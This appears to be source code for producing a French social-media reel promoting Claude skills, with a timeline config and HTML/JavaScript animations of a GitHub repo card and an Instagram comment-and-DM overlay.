    promptDemo: { src: 'assets/prompt-demo.mp4', width: 960 },     // source/prompt-demo.html: Claude prompt box, the best skill rises to the top
    installTerm: { src: 'assets/install-term.mp4', width: 960 },   // source/install-term.html: Claude Code runs npx skills add, check
    leaderboard: { src: 'assets/leaderboard.mp4', width: 960 },    // source/leaderboard.html: skills.sh All Time, find-skills #1, 3.8M
    // source/security.html: SKILL.md read by Claude and Codex, "send data" struck; the 960x840 alpha clip padded to the
    // frame at the card's place (60, 200) for the overlay scene (assets/security.mov -> security-full.mov)
    security: { src: 'assets/security-full.mov', width: 1080, alpha: true },
    igreel: { src: 'assets/ig-reel.mov', width: 1080, alpha: true },   // source/ig-reel.html: FINDER typed in the comments, DMs fall
  },
  cam: { crop: [328, 0, 1200, 1080], eyes: [600, 345] },   // face detected on this take
  // 13.30-15.18 "Claude" restart; 27.90-37.25 the retakes of "le plus fou"; 38.22-38.48 a stumble
  cut: [[13.30, 15.18], [27.90, 37.25], [38.22, 38.48]],
  outro: 2,   // the DMs keep falling on the held last frame

  // hard cuts (style dur 0): split 1160 when a card plays, full camera on the link phrases (punch on the strong word),
  // paper alone (1920) for the million counter and the find-skills card; full camera from "Y a plein de hackers" to the end
  layout: { keys: [
    [0, 1160], [6.02, 0], [7.88, 1160], [10.48, 1920], [15.20, 1160], [17.60, 0], [19.30, 1160], [37.28, 0], [39.14, 1160],
    [42.88, 0], [44.38, 1920], [46.32, 0], [47.98, 1160], [51.24, 0]] },
  zoom: { keys: [[0, 1],
    [6.02, 1.08, 400], [6.46, 1.13, 400], [7.88, 1, 400],          // "presque PERSONNE ne l'utilise"
    [17.60, 1.08, 400], [19.00, 1.12, 400], [19.30, 1, 400],       // "sur quoi tu BOSSES"
    [37.28, 1.08, 400], [37.70, 1.13, 400], [39.14, 1, 400],       // "Et le plus FOU"
    [42.88, 1.08, 400], [43.46, 1.12, 400], [44.38, 1, 400],       // "si tu dois INSTALLER qu'un seul"
    [46.32, 1.08, 400], [47.34, 1.13, 400], [47.98, 1, 400],       // "installe JAMAIS un skill"
    [51.24, 1.08, 400], [51.72, 1.13, 400], [52.44, 1, 400],       // "plein de HACKERS"
    [55.24, 1.08, 400]] },                                         // "du moment que tu me suis"

  // hard cut in and out (cuts: 'hard'); offset = clip seconds skipped when a full-camera shot takes the clip's start
  actors: [
    { id: 'skillsPage', media: 'skillsPage', from: 7.88, to: 10.48, keys: [[7.88, CARD]], ar: AR },
    // starts on the first typed prompt (clip 1.20) right on "genre monter tes vidéos"
    { id: 'promptDemo', media: 'promptDemo', from: 19.30, offset: 1.20, to: 23.74, keys: [[19.30, CARD]], ar: AR },
    { id: 'installTerm', media: 'installTerm', from: 23.74, to: 37.28, keys: [[23.74, CARD]], ar: AR },
    // cut in on "numéro" (clip 1.38, the blue band on row 1), the scroll plays under the full-camera "Et le plus fou"
    { id: 'leaderboard', media: 'leaderboard', from: 39.14, offset: 1.38, to: 42.88, keys: [[39.14, CARD]], ar: AR },
  ],

  scenes: [
    // A. hook, frame 0 = the on-screen hook + the Claude logo as hero (also the cover). The task cards land on
    // "créé le meilleur skill", the magnifier sweeps them (one per beat) and comes back to rest on the logo
    { type: 'board', from: 3.20, to: 6.02, pre: 0, push: 0, items: [
      { k: 'text', text: '1 million de skills,\nun seul.', emph: 'un', at: 3.20, shown: true, x: 540, y: 190, size: 92, slot: false },
      { k: 'logo', logo: L.claude, at: 3.20, shown: true, x: 540, y: 470, s: 210, slot: false },
      ...unit({ at: 3.68, O: [170, 640], w: 740, h: 112, icon: 'camera', label: 'Monter ma vidéo', size: 46, layout: 'row', dimAt: 5.10 }),
      ...unit({ at: 3.84, O: [170, 772], w: 740, h: 112, icon: 'envelope', label: 'Écrire un email', size: 46, layout: 'row', dimAt: 5.36 }),
      ...unit({ at: 4.00, O: [170, 904], w: 740, h: 112, icon: 'ant', label: 'Corriger un bug', size: 46, layout: 'row', dimAt: 5.62 }),
      { k: 'img', img: G('search'), at: 4.46, x: 980, y: 696, s: 150, h: 150, shadow: false, pop: .6, rise: 0, slot: false, quiet: true, posW: 10,
        posKeys: [[4.46, [800, 696]], [4.80, [800, 696]], [5.10, [800, 828]], [5.36, [800, 960]], [5.70, [660, 520]]] },
    ] },

    // A2 (6.02-7.88) "presque personne ne l'utilise": full camera, punch on "personne" (review v1: the empty-shop
    // illustration is gone)

    // B (7.88-10.48): skills-page card. B2. "une bibliothèque de plus d'un million de skills Claude": paper alone, the
    // Claude logo and the flat counter big
    { type: 'board', from: 10.48, to: 15.20, pre: 0, push: 0, items: [
      { k: 'logo', logo: L.claude, at: 10.48, x: 540, y: 520, s: 300, rise: 0, shown: true },
      { k: 'counter', value: 1000000, fromValue: 0, suffix: '+', sep: ' ', at: 10.48, countFrom: 11.06, countTo: 11.90,
        x: 540, y: 960, size: 190, rise: 0, hold: true },
    ] },

    // C. "tu récupères direct celui dont t'as besoin": the grid lands, the video cell leaves it on "celui" and grows in
    // the middle; the others dim
    { type: 'board', from: 15.20, to: 17.60, pre: 0, push: 0, items: [
      // the video cell is drawn last so it rides over the dimmed grid when it grows
      ...[1, 2, 3, 4, 5, 6, 7, 8, 0].flatMap(i => { const [icon, label] = GRID[i]; return unit({
        at: 15.20 + i * .04, O: cell(i), w: 290, h: 170, icon, label, dimAt: i ? 16.32 : undefined,
        keys: i ? null : [[15.20, cell(0), 1], [16.32, cell(0), 1], [16.70, [279, 407], 1.8]], ringAt: i ? undefined : 16.80,
      }); }),
    ] },

    // D (17.60-23.74): prompt-demo card. E (23.74-37.28): install-term card. F (37.28-42.88): leaderboard card.

    // G (review v1: "le motion design ici est moyen"). 42.88 "Donc, si tu dois installer qu'un" full camera, punch on
    // "installer"; 44.38 "seul skill, installe celui-ci" paper alone: the find-skills card slams in big with its
    // 3.8M installs, on "installe" the blue check stamps its corner and the card rings
    { type: 'board', from: 44.38, to: 46.32, pre: 0, push: 0, items: [
      ...unit({ at: 44.38, O: [90, 640], w: 900, h: 240, logo: L.skills, label: 'find-skills', size: 96, layout: 'row', pop: .55,
        ringAt: 45.26 }),
      { k: 'text', text: '3,8M installs', at: 44.38, x: 540, y: 990, size: 64, rise: 0, quiet: true, slot: false },
      { k: 'img', img: G('check'), at: 45.26, x: 960, y: 640, s: 210, h: 210, shadow: false, pop: .45, spin: -.4, rise: 0, slot: false },
    ] },

    // H. 46.32 "Mais surtout, installe jamais un skill" full camera, punch on "jamais"; 47.98 "sans l'avoir fait relire
    // avec Claude, Codex, pour vérifier que c'est safe": the SKILL.md check (clip from 1.36, the sheet already landed);
    // 51.24 "Y a plein de hackers" full camera, punch on "hackers"
    { type: 'overlay', media: 'security', from: 47.98, offset: 1.36, to: 51.24 },

    // I. "Tu le veux ? Commente FINDER": full camera + the Instagram overlay over it (comments, FINDER typed, DMs fall)
    { type: 'overlay', layer: 'over', media: 'igreel', from: 52.75 },
  ],

  // tension, curiosity: "the best skill nobody uses" is a secret; the last shorts used arpege and filature-soft
  music: { bed: 'code-noir', offset: 9.8 },

  sfx: {
    swish: 0, accents: 0,
    // the hook whoosh the creator picked (podcast style's zhhh), on frame 1 only (review v2)
    files: [{ at: 0, src: 'assets/sfx/zhhh_ref_transition.wav', gain: -6 }],
    extra: [
      // A: the three task cards, the magnifier
      [3.68, 'pop', .08], [3.84, 'pop', .08], [4.00, 'pop', .08],
      // B2: the counter tops out on "million" (cuts, punch-ins and landed glyphs: the style's sfx.kit)
      [11.90, 'thud', .12],
      // C: the video cell lands in the middle
      [16.70, 'pop', .10],
      // B skills-page: the command block selected
      [9.59, 'tap', .05],
      // D prompt-demo: the video skill rises, the email skill rises, "Meilleur skill"
      [20.51, 'pop', .08], [21.40, 'pop', .08], [22.39, 'pop', .10],
      // E install-term: the payoff check
      [26.66, 'pop', .10],
      // F leaderboard: the #1 pill on "un", the 3.8M counter lands
      [39.64, 'pop', .10], [41.97, 'thud', .12],
      // G: the check stamps the find-skills card
      [45.26, 'thud', .12],
      // H security: the shield on "safe" (the skull is cut: "hackers" is a full-camera punch)
      [50.75, 'pop', .10],
      // I CTA: taps (comments, field, Publier), FINDER lands, the DM bells
      [53.25, 'tap', .05], [53.65, 'tap', .04], [54.38, 'tap', .05], [54.46, 'pop', .10],
      [55.71, 'bell', .05], [56.74, 'bell', .04], ['o+0.67', 'bell', .04],
    ],
  },

  captions: {
    replace: [['Skill', 'Skills'], ['Commande', 'Commente'], ['Finder', 'FINDER']],
    emph: ['Claude', 'personne', 'million', 'besoin.', 'vidéos', 'emails', "l'installe", 'numéro', 'quatre', 'seul',
      'Codex', 'safe.', 'hackers.', 'FINDER'],
    hide: [],
    yKeys: [[52.75, 1125]],   // above the comments sheet (top edge ~1210)
  },
};

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        <div class="row" id="path"><span>toncompte</span><span class="sl">/</span><b id="pathName">insta-skills</b></div>
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        <div class="row" id="who"><b style="font-weight:600">toncompte</b><span style="color:#59636E">first release</span></div>
        <div class="row" id="commits"><svg class="ico" width="32" height="32" viewBox="0 0 16 16" fill="#59636E"><path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"/></svg>12 Commits</div>
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      <div id="rows"></div>
    </div>
    <div class="row" id="mit"><i id="mitHl"></i><svg class="ico" width="34" height="34" viewBox="0 0 16 16" fill="#59636E" id="mitIco" style="position:relative"><path d="M8.75.75V2h.985c.304 0 .603.08.867.231l1.29.736c.038.022.08.033.124.033h2.234a.75.75 0 0 1 0 1.5h-.427l2.111 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.006.005-.01.01-.045.04c-.21.176-.441.327-.686.45C14.556 10.78 13.88 11 13 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L12.178 4.5h-.162c-.305 0-.604-.079-.868-.231l-1.29-.736a.245.245 0 0 0-.124-.033H8.75V13h2.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1 0-1.5h2.5V3.5h-.984a.245.245 0 0 0-.124.033l-1.289.737c-.265.15-.564.23-.869.23h-.162l2.112 4.692a.75.75 0 0 1-.154.838l-.53-.53.529.531-.001.002-.002.002-.006.006-.016.015-.045.04c-.21.176-.441.327-.686.45C4.556 10.78 3.88 11 3 11a4.498 4.498 0 0 1-2.023-.454 3.544 3.544 0 0 1-.686-.45l-.045-.04-.016-.015-.006-.006-.004-.004v-.001a.75.75 0 0 1-.154-.838L2.178 4.5H1.75a.75.75 0 0 1 0-1.5h2.234a.249.249 0 0 0 .125-.033l1.288-.737c.265-.15.564-.23.869-.23h.984V.75a.75.75 0 0 1 1.5 0Zm2.945 8.477c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L13 6.327Zm-10 0c.285.135.718.273 1.305.273s1.02-.138 1.305-.273L3 6.327Z"/></svg><span id="mitT" style="position:relative">MIT license</span></div>
  </div>
  <div id="ig"><img src="../assets/logos/instagram.png"></div>
  <svg id="tsvg" viewBox="0 0 1080 1075"><text id="ttl" x="650" y="569.6" text-anchor="middle" fill="#FFFFFF"
    style="font-family:'Bricolage Grotesque'; font-weight:800; font-size:110px; letter-spacing:-2px">insta-skills</text></svg>
  <div id="stamp"><span>gratuit</span></div>
</div></div>
<script>
const $ = id => document.getElementById(id);
const S = (x, w) => x <= 0 ? 0 : 1 - (1 + w * x) * Math.exp(-w * x);
const cl = (x, a = 0, b = 1) => Math.min(b, Math.max(a, x));
const L = (a, b, k) => a + (b - a) * k;
const ss = (a, b, x) => { const k = cl((x - a) / (b - a)); return k * k * (3 - 2 * k); };

// file list: 4 folders, then README.md and LICENSE
const FOLDER = '<svg class="ico" width="36" height="36" viewBox="0 0 16 16" fill="#54AEFF"><path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"/></svg>';
const FILE = '<svg class="ico" width="36" height="36" viewBox="0 0 16 16" fill="#59636E"><path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"/></svg>';
const FILES = [[FOLDER, 'scripts-reels'], [FOLDER, 'montage-auto'], [FOLDER, 'dm-instagram'], [FOLDER, 'viralite'], [FILE, 'README.md'], [FILE, 'LICENSE']];
$('rows').innerHTML = FILES.map((f, i) =>
  `<div class="fr" id="f${i}" style="top:${60 + i * 58}px">${i ? '<i class="sep"></i>' : ''}<span class="in" id="fi${i}">${f[0]}<span>${f[1]}</span></span></div>`).join('');

// final window rect (stage) and the card rect it starts from
const CARD = { x: 90, y: 380, w: 900, h: 300, r: 44 };
const WIN = { x: 60, y: 150, w: 960, hh: 166, h: 876, r: 26 };
const INK = [20, 22, 27], HDR = [246, 248, 250];

// box-shadow: the engine's sheet shadow under the ink card (depth 1.7, elev 1) -> a tighter deep one under the window
const SH0 = [[0, 38, 144, 0, .049], [0, 17.5, 67, 0, .187], [0, 2, 7.7, 0, .119], [0, .8, 2, 0, .063]];
const SH1 = [[0, 22, 44, -12, .17], [0, 12, 24, -6, .22], [0, 2, 6, 0, .12], [0, 0, 0, 1.5, .10]];
const shadow = k => SH0.map((a, i) => { const b = SH1[i], v = a.map((x, j) => L(x, b[j], k));
  return `${v[0]}px ${v[1].toFixed(2)}px ${v[2].toFixed(2)}px ${v[3].toFixed(2)}px rgba(40,28,10,${v[4].toFixed(3)})`; }).join(', ');

// offset of an element inside #win (layout units, unaffected by transforms)
function offIn(el) { let x = 0, y = 0; for (let e = el; e && e.id !== 'win'; e = e.offsetParent) { x += e.offsetLeft; y += e.offsetTop; } return [x, y]; }
const fade = (el, k, dy = 18) => { el.style.opacity = k; el.style.transform = (el.dataset.base || '') + ` translateY(${(1 - k) * dy}px)`; };
['path', 'title', 'who', 'commits', 'mit'].forEach(id => $(id).dataset.base = 'translateY(-50%)');

let T0w = 0;
window.setT = function (t) {
  // whip out to the left, 2.05 -> 2.17
  const u = cl((t - 2.05) / 0.12);
  $('all').style.transform = `translateX(${-1150 * u * u}px)`;

  // 1. the ink card enters at .41 exactly like the engine board item (rise 40, alpha min(1, 1.35 p), spring 13)
  const p = S(t - 0.41, 13), ca = Math.min(1, p * 1.35);
  // 3. morph .95 -> ~1.2: the card glides up and shrinks into the repo header, then the page unfolds under it
  const m = S(t - 0.95, 20), g = S(t - 1.0, 16);
  const hh = L(CARD.h, WIN.hh, m), bodyH = (WIN.h - WIN.hh) * g;
  const x = L(CARD.x, WIN.x, m), y = L(CARD.y, WIN.y, m) + 40 * (1 - p), w = L(CARD.w, WIN.w, m), r = L(CARD.r, WIN.r, m);
  const W_ = $('win');
  W_.style.left = x + 'px'; W_.style.top = y + 'px'; W_.style.width = w + 'px'; W_.style.height = (hh + bodyH) + 'px';
  W_.style.borderRadius = r + 'px'; W_.style.opacity = ca; W_.style.boxShadow = shadow(m);
  const hk = ss(0.3, 0.62, m), hc = INK.map((c, i) => Math.round(L(c, HDR[i], hk)));
  const H = $('hdr'); H.style.height = hh + 'px'; H.style.background = `rgb(${hc})`;
  $('lit').style.opacity = 1 - ss(0, 0.5, m);
  $('hline').style.top = (hh - 2) + 'px'; $('hline').style.opacity = ss(0.6, 1, m);

  // 2. Instagram logo (pop .5 -> 1) and the title (rise), both from .50; during the morph they fly into the header:
  //    the Instagram icon onto the GitHub mark, the title onto the repo name of the path
  const q = S(t - 0.50, 13), qa = Math.min(1, q * 1.35);
  const mf = S(t - 0.95, 27);                         // the flyers travel a bit faster than the window so they land on it
  const fx = x, fy = y;                               // current window origin: the flyers land on the moving header
  const [ox, oy] = [fx + 118 + 32, fy + 16 + 32];     // GitHub mark centre
  const igx = L(245, ox, mf), igy = L(530, oy, mf) + 40 * (1 - q), igs = L(0.5, 1, q) * L(1, 64 / 150, mf);
  const IG = $('ig'); IG.style.transform = `translate(${igx - 245}px, ${igy - 530}px) scale(${igs})`;
  IG.style.opacity = qa * (1 - ss(0.7, 0.97, mf));
  $('octo').style.opacity = ss(0.7, 0.97, mf);

  const pn = $('pathName'), pw = pn.offsetWidth, sr = $('stage').getBoundingClientRect(), pr = pn.getBoundingClientRect(), k0 = 1080 / sr.width;
  const tx = (pr.left - sr.left + pr.width / 2) * k0, ty = (pr.top - sr.top) * k0 + 0.5 * pr.height * k0 - 0.22 * 38; // repo name glyph centre (x-height middle), live
  const tw0 = T0w || (T0w = $('ttl').getBBox().width), ts = L(1, pw / tw0, mf), tcx = L(650, tx, mf), tcy = L(530, ty, mf) + 40 * (1 - q);
  const T = $('ttl'); if (document.fonts.status !== 'loaded') T0w = 0; T.setAttribute('transform', `translate(${tcx} ${tcy}) scale(${ts}) translate(-650 -530)`);
  const tk = ss(0.25, 0.7, mf); T.setAttribute('fill', `rgb(${[255, 255, 255].map((c, i) => Math.round(L(c, [31, 35, 40][i], tk)))})`);
  T.style.opacity = qa * (1 - ss(0.93, 1, mf));

  // header content: the path text takes over from the flying title, the tabs come in on "et" (1.10)
  const nv = ss(0.5, 0.95, m);
  $('ham').style.opacity = nv;
  const pa = $('path'); pa.style.opacity = nv; pa.querySelector('b').style.opacity = ss(0.93, 1, mf);
  ['tCode', 'tIss', 'tPr'].forEach((id, i) => fade($(id), S(t - (1.06 + i * 0.05), 22), 14));
  const ul = $('uline'), tc = $('tCode'); ul.style.left = tc.offsetLeft + 'px'; ul.style.width = tc.offsetWidth * S(t - 1.12, 18) + 'px';

  // body: title row, buttons, the file box, then the rows stagger in from 1.20 (.08 apart)
  fade($('title'), S(t - 1.10, 20));
  fade($('star'), S(t - 1.14, 20));
  fade($('branch'), S(t - 1.14, 20));
  fade($('code'), S(t - 1.17, 20));
  const bx = S(t - 1.16, 20); fade($('box'), bx, 22);
  fade($('who'), S(t - 1.18, 20), 10); fade($('commits'), S(t - 1.20, 20), 10);
  FILES.forEach((f, i) => { const k = S(t - (1.20 + i * 0.08), 22), e = $('f' + i);
    e.style.opacity = k; $('fi' + i).style.transform = `translateX(${(1 - k) * -28}px)`; });
  fade($('mit'), S(t - 1.68, 20));

  // 4. "gratuit" 1.83: blue stamp across the window, 1.2 -> 1, no overshoot; Public and MIT license light up blue
  const s = S(t - 1.83, 22), st = $('stamp');
  st.style.opacity = cl((t - 1.83) / 0.06);
  st.style.transform = `translate(-50%, 0) scale(${1.2 - 0.2 * s})`;
  const hl = S(t - 1.83, 24);
  $('pubHl').style.opacity = hl; $('pubT').style.color = `rgb(${[89, 99, 110].map((c, i) => Math.round(L(c, [37, 142, 255][i], hl)))})`;
  const mt = $('mitT'), mi = $('mitIco'), mh = $('mitHl');
  mh.style.left = '-14px'; mh.style.top = '-8px'; mh.style.height = (mt.offsetHeight + 16) + 'px';
  mh.style.width = ((mt.offsetLeft + mt.offsetWidth + 28) * hl) + 'px'; mh.style.opacity = Math.min(1, hl * 1.5);
  const mc = `rgb(${[89, 99, 110].map((c, i) => Math.round(L(c, [37, 142, 255][i], hl)))})`;
  mt.style.color = mc; mi.setAttribute('fill', mc);
};
window.setT(0);
</script>
</body></html>

<!doctype html>
<html><head><meta charset="utf-8">
<!-- Comment CTA (short 27.84 to 35.01, dur 7.17): the camera is full screen and the Instagram Reels UI plays over it, as if
     the viewer were watching this very reel. Nothing before τ .62 (the camera card is still growing). The chrome slides in,
     a finger taps the comment icon on « Insta », the sheet comes up, « INSTA » is typed and posted on « guide », liked on
     « gratuit », the sheet leaves, toncompte's DM drops in on « DM », the finger taps Suivre on « abonné », a second DM
     brings the skills on « accès », its « Installer dans Claude » action opens on « skills » and is tapped on « installer »,
     then everything leaves and the last frame is the face alone. Transparent, 400x711.1 CSS at zoom 2.7 = 1080x1920.
     window.setT(t) draws the state at t seconds, pure function of t. Adapted from short-claude-code-monteur-remplace/source/ig-reel.html. -->
<style>
  html, body { margin: 0; background: transparent; }
  body { zoom: 2.7; width: 400px; height: 711.12px; overflow: hidden; color: #f5f5f5; -webkit-font-smoothing: antialiased;
    font-family: -apple-system, "SF Pro Text", "Inter", "Helvetica Neue", sans-serif; }
  #app { position: relative; width: 400px; height: 711.12px; overflow: hidden; }
  svg { display: block; }
  #gtop { position: absolute; left: 0; top: 0; width: 400px; height: 110px; background: linear-gradient(to bottom, rgba(0,0,0,.4), rgba(0,0,0,0)); }
  #gbot { position: absolute; left: 0; bottom: 0; width: 400px; height: 220px; background: linear-gradient(to top, rgba(0,0,0,.62), rgba(0,0,0,.24) 55%, rgba(0,0,0,0)); }
  .sh { filter: drop-shadow(0 1px 2px rgba(0,0,0,.4)); }
  .tsh { text-shadow: 0 1px 3px rgba(0,0,0,.5); }
  #status { position: absolute; left: 0; top: 0; width: 400px; height: 30px; display: flex; align-items: center; justify-content: space-between;
    padding: 0 26px 0 34px; box-sizing: border-box; font-size: 14px; font-weight: 600; letter-spacing: -.2px; z-index: 30; }
  #status .ic { display: flex; align-items: center; gap: 5px; }
  #rtitle { position: absolute; left: 22px; top: 38px; font-size: 22px; font-weight: 700; letter-spacing: -.5px; display: flex; align-items: center; gap: 4px; }
  #rcam { position: absolute; right: 24px; top: 38px; }
  /* right action column, under the caption band (y 1230 px = 455 CSS) */
  .rail { position: absolute; left: 358px; top: 0; width: 0; }
  .rail .it { position: absolute; left: -20px; width: 40px; display: flex; flex-direction: column; align-items: center; }
  .rail .ct { font-size: 13px; font-weight: 600; margin-top: 4px; height: 17px; position: relative; width: 60px; text-align: center; letter-spacing: -.1px; overflow: hidden; }
  .rail .ct span { position: absolute; left: 0; right: 0; top: 0; }
  #audio { position: absolute; left: 345px; top: 664px; width: 26px; height: 26px; border-radius: 6px; overflow: hidden; border: 1.5px solid #fff; box-sizing: border-box; }
  #audio img { width: 100%; height: 100%; object-fit: cover; transform: scale(1.32); }
  #info { position: absolute; left: 22px; top: 584px; width: 300px; }
  #info .who { display: flex; align-items: center; gap: 9px; height: 30px; }
  #info .who img { width: 30px; height: 30px; border-radius: 50%; }
  #info .who b { font-size: 14px; font-weight: 700; letter-spacing: -.1px; }
  #follow { position: relative; height: 27px; border-radius: 8px; margin-left: 2px; box-sizing: border-box; }
  #follow .fb { position: absolute; inset: 0; border-radius: 8px; border: 1px solid rgba(255,255,255,.78); box-sizing: border-box; }
  #follow .fg { position: absolute; inset: 0; border-radius: 8px; background: rgba(255,255,255,.22); }
  #follow span { position: absolute; left: 0; right: 0; top: 0; height: 27px; display: flex; align-items: center; justify-content: center; gap: 4px;
    font-size: 13px; font-weight: 600; white-space: nowrap; letter-spacing: -.1px; }
  #cap { font-size: 13.5px; line-height: 18px; margin-top: 10px; white-space: nowrap; letter-spacing: -.1px; }
  #cap i { font-style: normal; color: rgba(255,255,255,.72); }
  #music { font-size: 13px; margin-top: 7px; display: flex; align-items: center; gap: 6px; letter-spacing: -.1px; }
  #prog { position: absolute; left: 0; bottom: 0; width: 400px; height: 2px; background: rgba(255,255,255,.28); }
  #prog i { position: absolute; left: 0; top: 0; height: 2px; background: #fff; }
  #dim { position: absolute; inset: 0; background: #000; z-index: 25; }
  /* comments sheet: its top sits at 460 CSS (1242 px), under the caption band, the face stays clear */
  #sheet { position: absolute; left: 0; top: 460px; width: 400px; height: 251.12px; background: #262626; border-radius: 16px 16px 0 0; z-index: 26; overflow: hidden;
    box-shadow: 0 -6px 20px rgba(0,0,0,.25); }
  #handle { position: absolute; left: 182px; top: 8px; width: 36px; height: 4px; border-radius: 2px; background: #6e6e6e; }
  #stitle { position: absolute; left: 0; top: 20px; width: 400px; text-align: center; font-size: 15.5px; font-weight: 700; letter-spacing: -.2px; }
  #splane { position: absolute; right: 26px; top: 19px; }
  #hair { position: absolute; left: 0; top: 50px; width: 400px; height: .5px; background: rgba(255,255,255,.14); }
  #list { position: absolute; left: 0; top: 0; width: 400px; height: 192px; overflow: hidden; }
  .crow { position: absolute; left: 0; width: 400px; height: 62px; }
  .crow .hl { position: absolute; inset: 0; background: rgba(0,149,246,.2); }
  .cav { position: absolute; left: 22px; top: 9px; width: 32px; height: 32px; border-radius: 50%; display: flex; align-items: center; justify-content: center;
    font-weight: 800; font-size: 13px; color: #fff; overflow: hidden; }
  .cav img, .cav svg { width: 100%; height: 100%; }
  .cbody { position: absolute; left: 64px; top: 7px; width: 270px; }
  .cname { font-size: 13px; line-height: 17px; display: flex; gap: 6px; align-items: baseline; }
  .cname b { font-weight: 600; letter-spacing: -.1px; } .cname span { color: #a8a8a8; font-size: 13px; }
  .ctext { font-size: 15px; line-height: 20px; letter-spacing: -.15px; white-space: nowrap; }
  .creply { font-size: 13px; line-height: 16px; color: #a8a8a8; font-weight: 600; margin-top: 1px; }
  .clike { position: absolute; left: 346px; top: 14px; width: 24px; height: 34px; display: flex; flex-direction: column; align-items: center; gap: 2px;
    font-size: 13px; color: #a8a8a8; }
  .clike .hred { position: absolute; left: 5px; top: 0; }
  /* composer, the bottom of the sheet */
  #composer { position: absolute; left: 0; top: 192px; width: 400px; height: 59.12px; background: #262626; }
  #composer .hair { position: absolute; left: 0; top: 0; width: 400px; height: .5px; background: rgba(255,255,255,.12); }
  #cav2 { position: absolute; left: 22px; top: 13px; width: 32px; height: 32px; border-radius: 50%; overflow: hidden; }
  #field { position: absolute; left: 62px; top: 9px; width: 314px; height: 40px; border-radius: 20px; border: 1px solid #3c3c3c; box-sizing: border-box; }
  #ftext { position: absolute; left: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 17px; font-weight: 600; letter-spacing: .2px; }
  #ftext span { display: inline-block; }
  #ph { position: absolute; left: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 15px; color: #8e8e8e; letter-spacing: -.1px; }
  #caret { width: 2px; height: 21px; border-radius: 1px; background: #0095F6; margin-left: 1px; }
  #pub { position: absolute; right: 15px; top: 0; height: 38px; display: flex; align-items: center; font-size: 15px; font-weight: 700; color: #0095F6; transform-origin: 70% 50%; }
  /* iOS communication notification banners (sender avatar + Instagram badge) */
  .ban { position: absolute; left: 14px; top: 36px; width: 372px; border-radius: 20px; background: rgba(32,32,34,.96); overflow: hidden;
    box-shadow: 0 6px 18px rgba(0,0,0,.26), 0 0 0 .5px rgba(255,255,255,.08) inset; z-index: 40; transform-origin: 50% 0%; }
  .ban .av { position: absolute; left: 12px; top: 13px; width: 42px; height: 42px; }
  .ban .av > img { width: 42px; height: 42px; border-radius: 50%; }
  .ban .badge { position: absolute; left: 26px; top: 26px; width: 19px; height: 19px; border-radius: 5px; overflow: hidden; box-shadow: 0 0 0 1.5px rgba(32,32,34,1); }
  .ban .badge img { width: 100%; height: 100%; transform: scale(1.06); }
  .ban .tx { position: absolute; left: 66px; top: 12px; }
  .ban .t1 { font-size: 15px; line-height: 19px; font-weight: 700; letter-spacing: -.2px; display: flex; justify-content: space-between; }
  .ban .t1 i { font-style: normal; font-weight: 400; font-size: 13px; color: #9a9a9e; }
  .ban .t2 { font-size: 15px; line-height: 19px; letter-spacing: -.2px; margin-top: 1px; }
  .ban .t2 b { font-weight: 600; }
  .ban .thumb { position: absolute; right: 12px; top: 14px; width: 40px; height: 40px; border-radius: 9px; overflow: hidden; }
  .ban .thumb img { width: 100%; height: 100%; }
  .emo { font-family: "Apple Color Emoji", sans-serif; font-size: .95em; }
  #pill { position: absolute; right: 12px; height: 34px; border-radius: 17px; background: #258EFF; display: flex; align-items: center; gap: 7px;
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  #pill img { width: 22px; height: 22px; border-radius: 6px; }
  #pill .lab { position: relative; height: 34px; width: 153px; }
  #pill .lab span { position: absolute; left: 0; top: 0; height: 34px; display: flex; align-items: center; gap: 5px; white-space: nowrap; }
  /* the viewer's finger */
  #dot { position: absolute; left: 0; top: 0; width: 34px; height: 34px; margin: -17px 0 0 -17px; border-radius: 50%; z-index: 60;
    box-sizing: border-box; border: 2px solid rgba(255,255,255,.95); box-shadow: 0 2px 10px rgba(0,0,0,.3); }
  .rip { position: absolute; left: 0; top: 0; width: 60px; height: 60px; margin: -30px 0 0 -30px; border-radius: 50%; z-index: 59;
    box-sizing: border-box; border: 2px solid rgba(255,255,255,.9); }
</style></head>
<body><div id="app">
  <div id="gtop"></div><div id="gbot"></div>

  <div id="status" class="tsh"><span>9:41</span><div class="ic">
    <svg width="18" height="12" viewBox="0 0 18 12" fill="#fff"><rect x="0" y="8" width="3" height="4" rx="1"/><rect x="5" y="5.5" width="3" height="6.5" rx="1"/><rect x="10" y="3" width="3" height="9" rx="1"/><rect x="15" y="0" width="3" height="12" rx="1"/></svg>
